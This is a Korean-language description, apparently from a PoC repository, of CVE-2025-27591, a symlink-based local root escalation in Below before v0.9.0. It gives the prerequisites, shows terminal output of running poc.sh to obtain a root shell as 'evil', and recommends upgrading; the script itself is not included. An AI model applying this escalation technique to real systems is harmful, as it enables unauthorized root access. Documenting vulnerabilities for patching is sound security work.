
CVE-2025-27591에 대한 개념 증명(PoC)으로, Below < v0.9.0에서의 로컬 권한 상승 취약점입니다.
CVE-2025-27591의 개념 증명(PoC)으로, 로컬의 권한이 없는 사용자가 심볼릭 링크 공격을 통해 권한을 root로 상승시킬 수 있는 취약점입니다.
이 취약점은 Below 서비스(v0.9.0 미만 버전)에 영향을 미칩니다. 이 서비스는 /var/log/below 디렉토리를 전 세계에서 쓰기 가능한 권한(0777)으로 생성하여, 권한이 없는 로컬 사용자가 심볼릭 링크를 재배치하고 /etc/shadow와 같은 중요 파일을 조작하여 root로 권한을 상승시킬 수 있도록 합니다.
로컬의 권한이 없는 사용자가 다음을 통해 root로 권한을 상승시킬 수 있습니다:
/var/log/below/는 전 세계에서 쓰기 가능한 권한(0777)이어야 하며 error_root.log 파일을 포함해야 합니다.foo@victim:~$ ls -l /var/log/ | grep below
drwxrwxrwx 3 root root 4096 Jul 8 20:45 below
sudoers 수준의 권한이 필요합니다.
foo@victim:~$ sudo -l
Matching Defaults entries for jacob on victim:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User foo may run the following commands on victim:
(ALL : ALL) NOPASSWD: /usr/bin/below
poc.sh 파일이 준비되면 필요한 권한을 부여하고 실행하면 root가 됩니다.
foo@victim:/tmp$ chmod +x poc.sh
foo@victim:/tmp$ ./poc.sh
evil@victim:/tmp# id
uid=0(evil) gid=0(root) groups=0(root)
Below v0.9.0 이상으로 업그레이드하면, 이는 안전하지 않은 chmod 로직을 제거하고 systemd 유닛 기능(예: LogsDirectory=below)에 의존합니다.